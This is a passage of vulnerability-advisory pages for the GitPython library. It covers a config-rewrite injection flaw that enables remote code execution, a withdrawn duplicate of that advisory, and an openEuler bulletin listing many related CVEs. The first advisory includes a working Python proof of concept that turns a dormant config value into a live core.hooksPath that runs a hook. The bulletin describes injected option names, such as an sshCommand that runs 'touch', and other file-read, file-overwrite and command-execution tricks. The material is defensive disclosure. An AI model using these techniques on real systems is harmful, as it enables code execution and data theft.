`\u003canything\u003e\\nhooksPath = \u003cattacker path\u003e`, that second line is parsed as a brand-new `core.hooksPath = \u003cattacker path\u003e` directive \u2014 live, real Git configuration, not a value.\n\n`core.hooksPath` is honored by essentially every hook-firing git operation (`commit`, `checkout`, `merge`, `push`, `rebase`, ...), giving arbitrary code execution the next time the host application performs any hook-triggering operation.\n\n## Root cause\n`GitConfigParser`\u0027s injection guard is asymmetric: it hardens every *write-argument* entry point (the fix for the four sibling GHSAs) but never hardens the **read \u2192 corrupt-on-rewrite round trip**. A value that is 100% legitimate and inert as parsed from disk becomes a newly-injected directive purely through GitPython\u0027s own broken re-serialization logic (`write_section()` using the unsafe value-to-string path plus a continuation scheme real git doesn\u0027t recognize). The `c417af46` commit message even states its intent explicitly: *\"This preserves existing read behavior for config files that already contain multiline values while preventing GitPython from writing new unsafe values\"* \u2014 i.e. the maintainers consciously scoped the fix to the write-argument surface and did not address what happens when an already-resident multi-line value gets rewritten.\n\n## Exploit path\n1. A `.git/config` (or any file merged into it via `[include]`, see below) already contains a dormant, syntactically-legitimate multi-line quoted value, e.g.:\n   ```\n   [core]\n   \tzzz = \"A\\nhooksPath = ../evil-hooks\\\n   \"\n   ```\n   No raw `\\r`, `\\n`, or NUL byte appears on disk \u2014 this is standard git quoting + backslash-continuation. Real `git config --get core.hookspath` returns nothing at this point (inert); `git config --get core.zzz` returns the decoded string `A\\nhooksPath = ../evil-hooks`, identically to GitPython\u0027s own reader.\n2. The host application opens this repo with GitPython (`git.Repo(path)`, `read_only=False` implicitly for a normal `config_writer()` use) and performs **any** single, unrelated, legitimate config write on the same `GitConfigParser` instance \u2014 e.g. `repo.config_writer().set_value(\"user\", \"name\", \"Test User\")`. This is one of the most ordinary operations a GitPython-based tool performs.\n3. `GitConfigParser._write()`/`write_section()` re-serializes every resident value, including the dormant `zzz` entry, using the unsafe path. The file on disk now contains, verbatim:\n   ```\n   [core]\n   \t...\n   \tzzz = A\n   \thooksPath = ../evil-hooks\n   ```\n4. Real `git config --get core.hookspath` now returns `../evil-hooks` \u2014 a key that did not exist before step 2, created purely by GitPython\u0027s own write.\n5. The next hook-firing git operation (e.g. `git commit`) executes `../evil-hooks/pre-commit` (or whatever hook name the operation looks for), i.e. arbitrary attacker-chosen code execution.\n\n## Impact\nArbitrary code execution, on par with (and more directly triggered than) the already-accepted, High-severity `GHSA-mv93-w799-cj2w`/`GHSA-v87r-6q3f-2j67` \"Newline injection... enables RCE via core.hooksPath\" advisories, and requiring **no unsafe caller argument at all** \u2014 only an attacker-influenced config file plus one ordinary, unrelated write.\n\n## Preconditions\n- A config file GitPython opens read-write already contains an attacker-chosen, syntactically-valid multi-line value shaped like `\u003canything\u003e\\n\u003cinjected-key\u003e = \u003cinjected-value\u003e`. Realistic delivery:\n  1. **Pre-existing `.git` directory shipped with a repository** \u2014 vendored/template repos, CI workspace/layer caches that preserve `.git`, \"repo\" tarball/zip distributions that include `.git/config`. The poisoned value sits directly in `.git/config`.\n  2. **The documented shared-config `[include]` pattern** (`[include] path = ../\u003crepo-tracked-file\u003e`, pointing at a file inside the working tree) \u2014 `GitConfigParser.read()` merges included files\u0027 sections into the same `_sections` dict used for writing, so a malicious public repository can ship the poisoned value inside a normal tracked file and have it activated the first time any GitPython-based tool performs any unrelated config write after clone (this requires the victim\u0027s own `.git/config` to already reference the include, e.g. via project setup tooling that adds `include.path`).\n  3. **Any host application that opens an attacker-influenced config file for read-write and later performs a legitimate write** \u2014 the exact trust-boundary the maintainers already accepted as realistic for `GHSA-v87r-6q3f-2j67` (their writeup cites MLRun\u0027s `project.push()`).\n- No authentication/role requirement inside GitPython itself.\n\n## Evidence\n- `git/config.py:460` (`string_decode`), invoked at `git/config.py:519` and `:541` inside `_read()`\u0027s multi-line handling \u2014 decodes `unicode_escape`, turning a literal `\\n` escape into a real embedded LF.\n- `git/config.py:~694-712` (`_write()`/`write_section()`) \u2014 uses `self._value_to_string(v)` (unsafe variant) and `.replace(\"\\n\", \"\\n\\t\")` with no re-quoting.\n- `c417af46` (the CR/LF/NUL guard commit) touches only the setter path and explicitly states it preserves existing *read* behavior for multi-line values, per its own commit message.\n- `git log -S\"string_decode\"`, `-S\"write_section\"`, `-S\u0027replace(\"\\n\", \"\\n\\t\")\u0027` on `git/config.py` show these code paths have only ever been touched by non-security formatting/refactor commits (`a5fc1d86`, `b825dc74`, `cb68eef0`, `21ec5299`), never by a security fix.\n- PoC (`gitpython-002-poc.py`, embedded below) reproduces the full chain end-to-end against this exact checkout: dormant value \u2192 one unrelated `config_writer()` write \u2192 `core.hookspath` becomes live per real `git config --get` \u2192 a subsequent `git commit` executes the injected hook and writes a benign marker file.\n\n## False-positive check (adversarial re-read)\n- **Is this just a repeat of the four already-fixed config-injection GHSAs?** No \u2014 all four require the *caller* to pass a Python string containing a raw control character or forbidden syntax character as an argument to a setter; all four are now blocked by `UNSAFE_CONFIG_CHARS_RE`/`VALID_CONFIG_OPTION_NAME_RE`/the section quote-state-machine. This finding requires no such caller argument: the payload is smuggled entirely inside a config *file* using standard, valid git escaping that the guard never inspects, and only becomes dangerous through GitPython\u0027s own unguarded re-serialization of a value it already holds. Confirmed via `_known-advisories.json` (26 entries, none withdrawn) \u2014 none describe this read\u2192corrupt-on-rewrite mechanism.\n- **Does real git actually round-trip this value safely (i.e. is this a GitPython-only bug, not a \"normal\" file)?** Yes, confirmed empirically: after the same crafted `.git/config` is rewritten by *real* `git config user.name Test2` (a control test), the multi-line `zzz` entry is preserved byte-for-byte in its original quoted/continuation form \u2014 only GitPython\u0027s writer corrupts it.\n- **Is there a guard elsewhere that would catch the resulting bare `hooksPath = ...` line before it\u0027s trusted?** No \u2014 once on disk, it is indistinguishable from a directive the user set intentionally; `core.hooksPath` is honored unconditionally by git\u0027s hook-invocation machinery.\n- **Does this require an unrealistic precondition?** The precondition (a config file with attacker-influenced content, later legitimately rewritten) mirrors the exact threat model the maintainers already treated as realistic and fixed for `GHSA-v87r-6q3f-2j67`.\n- Verdict: no concrete blocker found. **CONFIRMED** \u2014 reproduced independently end-to-end (dormant value in place \u2192 benign unrelated `config_writer()` write \u2192 `core.hookspath` live per real git \u2192 hook fires on `git commit`, marker file written).\n\n## Remediation\nEither (a) make `write_section()`/`_write()` use `_value_to_string_safe()` (or equivalent re-quoting) for **every** resident value, including those that originated from `_read()`, so an embedded newline is always re-emitted as a properly quoted+backslash-continued value rather than a bare new line, or (b) reject/neutralize embedded control characters in values at read time before they can reach `_sections` at all if the parser is opened in `read_only=False` mode, or (c) canonicalize output using git\u0027s own `git config --file \u003cpath\u003e --replace-all` semantics instead of a hand-rolled writer. Option (a) is the most surgical fix and matches the spirit of `_value_to_string_safe()` already used on the setter path.\n\n## Confidence\nHigh. Root cause independently re-derived and confirmed by direct code reading; full exploit chain (dormant value \u2192 benign unrelated write \u2192 live `core.hookspath` \u2192 hook execution with a benign marker) reproduced twice, independently, against the current HEAD.\n\n\n## Proof-of-Concept source (`gitpython-002-poc.py`)\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nGITPYTHON-002 PoC: a dormant, legitimately-encoded multi-line git-config value\n(standard quoted + backslash-continuation syntax, containing an escaped \"\\\\n\"\nthat decodes to a real embedded newline in memory) is corrupted into a NEW,\nlive config key the moment GitConfigParser re-serializes it during any\nunrelated write. If the smuggled second \"line\" looks like\n\"hooksPath = \u003cattacker path\u003e\", it becomes a real, active core.hooksPath after\none unrelated GitPython config write, and fires attacker code on the next\nhook-triggering git operation (e.g. `git commit`).\n\nThis is CWE-88/CWE-94 style argument/config injection, but via the READ path\n(a config file GitPython parses and later rewrites), not via a Python kwarg\nargument -- distinct from the already-fixed GHSA-mv93-w799-cj2w /\nGHSA-v87r-6q3f-2j67 / GHSA-3rp5-jjmw-4wv2 / GHSA-jm78-9fvv-mhgr, which all\nguard the setter-argument surface only.\n\nRun:\n  PYTHONPATH=\"\u003crepo\u003e:\u003crepo\u003e/gitdb:\u003crepo\u003e/smmap\" python3 gitpython-002-poc.py \u003cworkdir\u003e\n\nBenign: only writes/reads inside \u003cworkdir\u003e. The \"malicious\" hook just writes a\nmarker file; no destructive/exfiltrating payload. Exits non-zero and prints\n\"NOT VULNERABLE\" if the corruption / hook does not fire.\n\"\"\"\nimport os\nimport subprocess\nimport sys\n\n\ndef main():\n    workdir = sys.argv[1] if len(sys.argv) \u003e 1 else \"/tmp/gitpython-002-poc\"\n    repo_dir = os.path.join(workdir, \"repo\")\n    hooks_dir = os.path.join(workdir, \"evil-hooks\")\n    marker = os.path.join(workdir, \"PWNED_MARKER.txt\")\n\n    for p in (repo_dir, hooks_dir):\n        os.makedirs(p, exist_ok=True)\n    if os.path.exists(marker):\n        os.remove(marker)\n\n    subprocess.run([\"git\", \"init\", \"-q\", \"-b\", \"main\", repo_dir], check=True)\n    subprocess.run([\"git\", \"-C\", repo_dir, \"config\", \"user.email\", \"test@example.com\"], check=True)\n    subprocess.run([\"git\", \"-C\", repo_dir, \"config\", \"user.name\", \"Test\"], check=True)\n\n    # Rewrite .git/config with a dormant, 100%-valid multi-line quoted value\n    # inside [core] (before any other section). No raw CR/LF/NUL byte is\n    # written to disk here -- this is standard git config quoting +\n    # backslash-line-continuation, decoded by both real git and GitConfigParser\n    # into the Python string \u0027A\\nhooksPath = ../evil-hooks\u0027.\n    cfg_path = os.path.join(repo_dir, \".git\", \"config\")\n    with open(cfg_path) as f:\n        original = f.read()\n    poisoned_entry = \u0027\\tzzz = \"A\\\\nhooksPath = ../evil-hooks\\\\\\n\"\\n\u0027\n    # Insert right after the [core] header line so it lives in the same section.\n    new_config = original.replace(\"[core]\\n\", \"[core]\\n\" + poisoned_entry, 1)\n    with open(cfg_path, \"w\") as f:\n        f.write(new_config)\n\n    # Confirm it\u0027s inert per real git before touching GitPython.\n    pre = subprocess.run(\n        [\"git\", \"-C\", repo_dir, \"config\", \"--get\", \"core.hookspath\"],\n        capture_output=True, text=True,\n    )\n    if pre.returncode == 0:\n        print(\"SETUP ERROR: core.hookspath already set before GitPython touched anything\")\n        sys.exit(2)\n\n    # Malicious hook: benign marker only.\n    hook_path = os.path.join(hooks_dir, \"pre-commit\")\n    with open(hook_path, \"w\") as f:\n        f.write(\u0027#!/bin/sh\\necho \"PWNED-VIA-GITPYTHON-CONFIG-INJECTION\" \u003e \"%s\"\\nexit 0\\n\u0027 % marker)\n    os.chmod(hook_path, 0o755)\n\n    import git  # gitpython under test\n\n    repo = git.Repo(repo_dir)\n    before = repo.config_reader().get_value(\"core\", \"zzz\")\n    print(\"core.zzz before any GitPython write =\", repr(before))\n\n    # ONE totally unrelated, benign write -- this is the only \"attacker-adjacent\"\n    # action required, and it is something virtually every GitPython consumer\n    # does routinely (setting an option, adding a remote, updating a branch\u0027s\n    # tracking config, ...).\n    with repo.config_writer() as cw:\n        cw.set_value(\"user\", \"name\", \"Test User\")\n\n    post = subprocess.run(\n        [\"git\", \"-C\", repo_dir, \"config\", \"--get\", \"core.hookspath\"],\n        capture_output=True, text=True,\n    )\n    if post.returncode != 0:\n        print(\"NOT VULNERABLE: core.hookspath still absent after the unrelated write\")\n        sys.exit(1)\n\n    injected_path = post.stdout.strip()\n    print(\"core.hookspath is now LIVE after one unrelated write:\", injected_path)\n\n    # Trigger the hook with a normal commit to prove it fires.\n    with open(os.path.join(repo_dir, \"file2.txt\"), \"w\") as f:\n        f.write(\"change\\n\")\n    subprocess.run([\"git\", \"-C\", repo_dir, \"add\", \"file2.txt\"], check=True)\n    subprocess.run(\n        [\"git\", \"-C\", repo_dir, \"-c\", \"user.email=t@example.com\", \"-c\", \"user.name=T\",\n         \"commit\", \"-q\", \"-m\", \"trigger hook\"],\n        check=True,\n    )\n\n    if os.path.isfile(marker):\n        with open(marker) as f:\n            content = f.read().strip()\n        print(\"VULNERABLE: hook fired, marker content =\", content)\n        sys.exit(0)\n    else:\n        print(\"NOT VULNERABLE: hook did not fire\")\n        sys.exit(1)\n\n\nif __name__ == \"__main__\":\n    main()\n\n```",
  "id": "GHSA-284h-m62q-gf8w",
  "modified": "2026-09-08T18:39:40Z",
  "published": "2026-09-08T18:39:40Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-284h-m62q-gf8w"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-78676"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/gitpython-developers/GitPython"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/gitpython/PYSEC-2026-3786.yaml"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/gitpython-before-remote-code-execution-via-config-injection"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "GitPython: Dormant multi-line git-config values are corrupted into live injected directives (e.g. core.hooksPath) on any unrelated GitConfigParser write, enabling RCE"
}

GHSA-9557-234J-7RV9

Vulnerability from github – Published: 2026-08-25 03:32 – Updated: 2026-09-08 18:39

Withdrawn 2026-09-08

Summary

Duplicate Advisory: Dormant multi-line git-config values are corrupted into live injected directives (e.g. core.hooksPath) on any unrelated GitConfigParser write, enabling RCE

Details

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-284h-m62q-gf8w. This link is maintained to preserve external references.

Original Description

GitPython before 3.1.59 fails to safely re-serialize multi-line git-config values during write operations, corrupting dormant quoted values into injected directives like core.hooksPath. Attackers can craft config files with embedded newlines that become live git directives after any unrelated GitPython config write, enabling arbitrary code execution via hook invocation.

Severity

9.8 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

9.3 (Critical)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "GitPython"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "3.1.58"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-88"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-08T18:39:17Z",
    "nvd_published_at": "2026-08-25T02:16:52Z",
    "severity": "CRITICAL"
  },
  "details": "## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of\u00a0GHSA-284h-m62q-gf8w. This link is maintained to preserve external references.\n\n## Original Description\nGitPython before 3.1.59 fails to safely re-serialize multi-line git-config values during write operations, corrupting dormant quoted values into injected directives like core.hooksPath. Attackers can craft config files with embedded newlines that become live git directives after any unrelated GitPython config write, enabling arbitrary code execution via hook invocation.",
  "id": "GHSA-9557-234j-7rv9",
  "modified": "2026-09-08T18:39:17Z",
  "published": "2026-08-25T03:32:10Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-284h-m62q-gf8w"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-78676"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/gitpython-before-remote-code-execution-via-config-injection"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Duplicate Advisory: Dormant multi-line git-config values are corrupted into live injected directives (e.g. core.hooksPath) on any unrelated GitConfigParser write, enabling RCE",
  "withdrawn": "2026-09-08T18:39:17Z"
}

OESA-2026-3699 (CVE-2026-73619)

Vulnerability from osv_openeuler – Published: 2026-09-05 15:04 – Updated: 2026-09-05 15:04 – Source website

Summary

python-GitPython security update

Details

GitPython is a python library used to interact with git repositories, high-level like git-porcelain, or low-level like git-plumbing.

Security Fix(es):

GitPython before 3.1.57 contains an incomplete denylist in the unsafe_git_archive_options guard that omits --add-file and --add-virtual-file options. Attackers can supply these options to Repo.archive() to read arbitrary files from the filesystem and include them in the returned archive.(CVE-2026-73619)

GitPython before 3.1.57 fails to guard git option forwarding in IndexFile.checkout() and TagReference.create(), allowing attackers to pass unsafe options via kwargs. Attackers can use --prefix to overwrite arbitrary files with repository content or -F to read arbitrary files returned in-band.(CVE-2026-73620)

GitPython before 3.1.56 contains an argument injection vulnerability in the Commit.count() method, which forwards keyword arguments to 'git rev-list' without the check_unsafe_options guard present in the sibling iter_items method. An attacker who can control options passed to Commit.count (e.g., via an application that forwards a user-supplied options dict) can supply output=<path>, causing 'git rev-list --output=<path>' to open and truncate the target file to zero bytes before revision parsing. This allows destruction/blanking of an arbitrary file at the process's privilege level (no content control, 0-byte truncation).(CVE-2026-73621)

GitPython before 3.1.55 fails to disable environment variable expansion in Remote.create() and Submodule.add() URL handling, allowing attackers to exfiltrate secrets by supplying URLs containing variable references. Attackers can craft URLs with environment variable tokens that are expanded into .git/config and .gitmodules, then transmitted to attacker-controlled hosts during fetch or pull operations.(CVE-2026-73622)

GitPython before 3.1.54 contains an incomplete denylist in unsafe_git_clone_options that omits --template, allowing attackers to achieve arbitrary command execution during clone operations. Attackers can supply --template pointing to a directory containing malicious post-checkout hooks that execute when git clones the repository.(CVE-2026-73623)

GitPython versions before 3.1.54 contain an arbitrary file overwrite vulnerability in the Diffable.diff method that fails to validate git options passed through kwargs. Attackers can supply the --output argument via the other parameter or output kwarg to write patch content to attacker-chosen file paths at process privilege level.(CVE-2026-73624)

GitPython versions before 3.1.54 contain a remote code execution vulnerability in the check_unsafe_options guard that can be bypassed by smuggling git options inside single-character kwarg values. Attackers can supply crafted option dictionaries to clone_from, fetch, pull, push, ls_remote, iter_commits, blame, or archive methods to execute arbitrary OS commands via the --upload-pack parameter.(CVE-2026-73625)

GitPython versions before 3.1.58 fail to validate options passed to git rm and git checkout commands in IndexFile.remove() and Head.checkout(). Attackers can supply --pathspec-from-file and --pathspec-file-nul parameters to read arbitrary files accessible to the process, with full file contents returned in GitCommandError.stderr.(CVE-2026-76217)

GitPython before 3.1.58 contains a remote code execution vulnerability in Repo.init that forwards unsafe git options without validation. Attackers can supply a template parameter pointing to a directory with malicious git hooks that execute arbitrary code when git operations are performed on the initialized repository.(CVE-2026-76218)

GitPython versions before 3.1.58 contain an arbitrary file overwrite vulnerability in IndexFile.from_tree, IndexFile.reset, and IndexFile.merge_tree methods that append caller-influenced treeish strings to git read-tree without option validation or argument separation. Attackers can inject the --index-output option to overwrite arbitrary files with a valid git-index blob, destroying existing file content at attacker-controlled writable paths.(CVE-2026-76219)

GitPython before 3.1.58 contains a command execution vulnerability in the check_unsafe_options guard that can be bypassed by combining a single-character kwarg with split_single_char_options=False. Attackers can supply a crafted kwargs dictionary to guarded methods like clone_from to emit a joined token parsed as --upload-pack, enabling arbitrary OS command execution at default allow_unsafe_options=False.(CVE-2026-76220)

GitPython before 3.1.58 contains a config-name injection vulnerability in the option-name validator that allows attackers to forge arbitrary git-config directives by injecting equals signs, hash symbols, and whitespace into option names. Attackers can inject malicious option names like 'sshCommand = touch /tmp/RCE #' to execute arbitrary commands via core.sshCommand or core.hooksPath on the next git operation.(CVE-2026-76221)

GitPython before 3.1.58 fails to validate submodule names from .gitmodules files, allowing attackers to create Git repositories at arbitrary filesystem paths outside the intended clone directory. Attackers can craft malicious repositories with traversal sequences in submodule names that GitPython processes during submodule initialization, creating attacker-controlled Git repositories at escaped filesystem locations.(CVE-2026-76222)

GitPython before 3.1.59 fails to disable merge_includes when parsing .gitmodules, allowing attackers to disclose local file content by including arbitrary file paths via [include] directives. Attackers can craft a malicious .gitmodules file with include directives pointing to sensitive files; when repo.submodules is accessed, GitConfigParser raises MissingSectionHeaderError embedding the target file's first line verbatim in the exception message.(CVE-2026-78675)

GitPython before 3.1.59 fails to safely re-serialize multi-line git-config values during write operations, corrupting dormant quoted values into injected directives like core.hooksPath. Attackers can craft config files with embedded newlines that become live git directives after any unrelated GitPython config write, enabling arbitrary code execution via hook invocation.(CVE-2026-78676)

GitPython before 3.1.59 omits --separate-git-dir from unsafe_git_clone_options, allowing attackers to create arbitrary git directories outside the intended clone destination. Attackers can pass a separate_git_dir parameter to Repo.clone_from() or Repo.clone() to redirect repository metadata to an attacker-controlled filesystem path, enabling arbitrary directory creation and potential hook execution.(CVE-2026-78677)

GitPython before 3.1.59 contains an arbitrary file read vulnerability in TagReference.create() where a positional reference parameter bypasses the unsafe option guard. Attackers can supply a reference value like --file=<path> to read arbitrary files, with contents returned in the annotated tag message.(CVE-2026-78679)

Severity

9.3 (Critical)


                    
                      CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

References

URL

Type

	https://www.openeuler.org/zh/security/security-bu…	ADVISORY
	https://nvd.nist.gov/vuln/detail/CVE-2026-73619	ADVISORY
	https://nvd.nist.gov/vuln/detail/CVE-2026-73620	ADVISORY
	https://nvd.nist.gov/vuln/detail/CVE-2026-73621	ADVISORY
	https://nvd.nist.gov/vuln/detail/CVE-2026-73622	ADVISORY
	https://nvd.nist.gov/vuln/detail/CVE-2026-73623	ADVISORY
	https://nvd.nist.gov/vuln/detail/CVE-2026-73624	ADVISORY
	https://nvd.nist.gov/vuln/detail/CVE-2026-73625	ADVISORY
	https://nvd.nist.gov/vuln/detail/CVE-2026-76217	ADVISORY
	https://nvd.nist.gov/vuln/detail/CVE-2026-76218	ADVISORY
	https://nvd.nist.gov/vuln/detail/CVE-2026-76219	ADVISORY
	https://nvd.nist.gov/vuln/detail/CVE-2026-76220	ADVISORY
	https://nvd.nist.gov/vuln/detail/CVE-2026-76221	ADVISORY
	https://nvd.nist.gov/vuln/detail/CVE-2026-76222	ADVISORY
	https://nvd.nist.gov/vuln/detail/CVE-2026-78675	ADVISORY
	https://nvd.nist.gov/vuln/detail/CVE-2026-78676	ADVISORY
	https://nvd.nist.gov/vuln/detail/CVE-2026-78677	ADVISORY
	https://nvd.nist.gov/vuln/detail/CVE-2026-78679	ADVISORY

JSON

To clipboard

{
  "affected": [
    {
      "ecosystem_specific": {
        "noarch": [
          "python-GitPython-help-3.1.59-1.oe2403sp1.noarch.rpm",
          "python3-GitPython-3.1.59-1.oe2403sp1.noarch.rpm"
        ],
        "src": [
          "python-GitPython-3.1.59-1.oe2403sp1.src.rpm"
        ]
      },
      "package": {
        "ecosystem": "openEuler:24.03-LTS-SP1",
        "name": "python-GitPython",
        "purl": "pkg:rpm/openEuler/python-GitPython\u0026distro=openEuler-24.03-LTS-SP1"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.1.59-1.oe2403sp1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "database_specific": {
    "severity": "Critical"
  },
  "details": "GitPython is a python library used to interact with git repositories, high-level like git-porcelain, or low-level like git-plumbing.\r\n\r\nSecurity Fix(es):\n\nGitPython before 3.1.57 contains an incomplete denylist in the unsafe_git_archive_options guard that omits --add-file and --add-virtual-file options. Attackers can supply these options to Repo.archive() to read arbitrary files from the filesystem and include them in the returned archive.(CVE-2026-73619)\n\nGitPython before 3.1.57 fails to guard git option forwarding in IndexFile.checkout() and TagReference.create(), allowing attackers to pass unsafe options via kwargs. Attackers can use --prefix to overwrite arbitrary files with repository content or -F to read arbitrary files returned in-band.(CVE-2026-73620)\n\nGitPython before 3.1.56 contains an argument injection vulnerability in the Commit.count() method, which forwards keyword arguments to \u0026apos;git rev-list\u0026apos; without the check_unsafe_options guard present in the sibling iter_items method. An attacker who can control options passed to Commit.count (e.g., via an application that forwards a user-supplied options dict) can supply output=\u0026lt;path\u0026gt;, causing \u0026apos;git rev-list --output=\u0026lt;path\u0026gt;\u0026apos; to open and truncate the target file to zero bytes before revision parsing. This allows destruction/blanking of an arbitrary file at the process\u0026apos;s privilege level (no content control, 0-byte truncation).(CVE-2026-73621)\n\nGitPython before 3.1.55 fails to disable environment variable expansion in Remote.create() and Submodule.add() URL handling, allowing attackers to exfiltrate secrets by supplying URLs containing variable references. Attackers can craft URLs with environment variable tokens that are expanded into .git/config and .gitmodules, then transmitted to attacker-controlled hosts during fetch or pull operations.(CVE-2026-73622)\n\nGitPython before 3.1.54 contains an incomplete denylist in unsafe_git_clone_options that omits --template, allowing attackers to achieve arbitrary command execution during clone operations. Attackers can supply --template pointing to a directory containing malicious post-checkout hooks that execute when git clones the repository.(CVE-2026-73623)\n\nGitPython versions before 3.1.54 contain an arbitrary file overwrite vulnerability in the Diffable.diff method that fails to validate git options passed through kwargs. Attackers can supply the --output argument via the other parameter or output kwarg to write patch content to attacker-chosen file paths at process privilege level.(CVE-2026-73624)\n\nGitPython versions before 3.1.54 contain a remote code execution vulnerability in the check_unsafe_options guard that can be bypassed by smuggling git options inside single-character kwarg values. Attackers can supply crafted option dictionaries to clone_from, fetch, pull, push, ls_remote, iter_commits, blame, or archive methods to execute arbitrary OS commands via the --upload-pack parameter.(CVE-2026-73625)\n\nGitPython versions before 3.1.58 fail to validate options passed to git rm and git checkout commands in IndexFile.remove() and Head.checkout(). Attackers can supply --pathspec-from-file and --pathspec-file-nul parameters to read arbitrary files accessible to the process, with full file contents returned in GitCommandError.stderr.(CVE-2026-76217)\n\nGitPython before 3.1.58 contains a remote code execution vulnerability in Repo.init that forwards unsafe git options without validation. Attackers can supply a template parameter pointing to a directory with malicious git hooks that execute arbitrary code when git operations are performed on the initialized repository.(CVE-2026-76218)\n\nGitPython versions before 3.1.58 contain an arbitrary file overwrite vulnerability in IndexFile.from_tree, IndexFile.reset, and IndexFile.merge_tree methods that append caller-influenced treeish strings to git read-tree without option validation or argument separation. Attackers can inject the --index-output option to overwrite arbitrary files with a valid git-index blob, destroying existing file content at attacker-controlled writable paths.(CVE-2026-76219)\n\nGitPython before 3.1.58 contains a command execution vulnerability in the check_unsafe_options guard that can be bypassed by combining a single-character kwarg with split_single_char_options=False. Attackers can supply a crafted kwargs dictionary to guarded methods like clone_from to emit a joined token parsed as --upload-pack, enabling arbitrary OS command execution at default allow_unsafe_options=False.(CVE-2026-76220)\n\nGitPython before 3.1.58 contains a config-name injection vulnerability in the option-name validator that allows attackers to forge arbitrary git-config directives by injecting equals signs, hash symbols, and whitespace into option names. Attackers can inject malicious option names like \u0026apos;sshCommand = touch /tmp/RCE #\u0026apos; to execute arbitrary commands via core.sshCommand or core.hooksPath on the next git operation.(CVE-2026-76221)\n\nGitPython before 3.1.58 fails to validate submodule names from .gitmodules files, allowing attackers to create Git repositories at arbitrary filesystem paths outside the intended clone directory. Attackers can craft malicious repositories with traversal sequences in submodule names that GitPython processes during submodule initialization, creating attacker-controlled Git repositories at escaped filesystem locations.(CVE-2026-76222)\n\nGitPython before 3.1.59 fails to disable merge_includes when parsing .gitmodules, allowing attackers to disclose local file content by including arbitrary file paths via [include] directives. Attackers can craft a malicious .gitmodules file with include directives pointing to sensitive files; when repo.submodules is accessed, GitConfigParser raises MissingSectionHeaderError embedding the target file\u0026apos;s first line verbatim in the exception message.(CVE-2026-78675)\n\nGitPython before 3.1.59 fails to safely re-serialize multi-line git-config values during write operations, corrupting dormant quoted values into injected directives like core.hooksPath. Attackers can craft config files with embedded newlines that become live git directives after any unrelated GitPython config write, enabling arbitrary code execution via hook invocation.(CVE-2026-78676)\n\nGitPython before 3.1.59 omits --separate-git-dir from unsafe_git_clone_options, allowing attackers to create arbitrary git directories outside the intended clone destination. Attackers can pass a separate_git_dir parameter to Repo.clone_from() or Repo.clone() to redirect repository metadata to an attacker-controlled filesystem path, enabling arbitrary directory creation and potential hook execution.(CVE-2026-78677)\n\nGitPython before 3.1.59 contains an arbitrary file read vulnerability in TagReference.create() where a positional reference parameter bypasses the unsafe option guard. Attackers can supply a reference value like --file=\u0026amp;lt;path\u0026amp;gt; to read arbitrary files, with contents returned in the annotated tag message.(CVE-2026-78679)",
  "id": "OESA-2026-3699",
  "modified": "2026-09-05T15:04:04Z",
  "published": "2026-09-05T15:04:04Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://www.openeuler.org/zh/security/security-bulletins/detail/?id=openEuler-SA-2026-3699"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-73619"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-73620"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-73621"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-73622"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-73623"
    },
    {
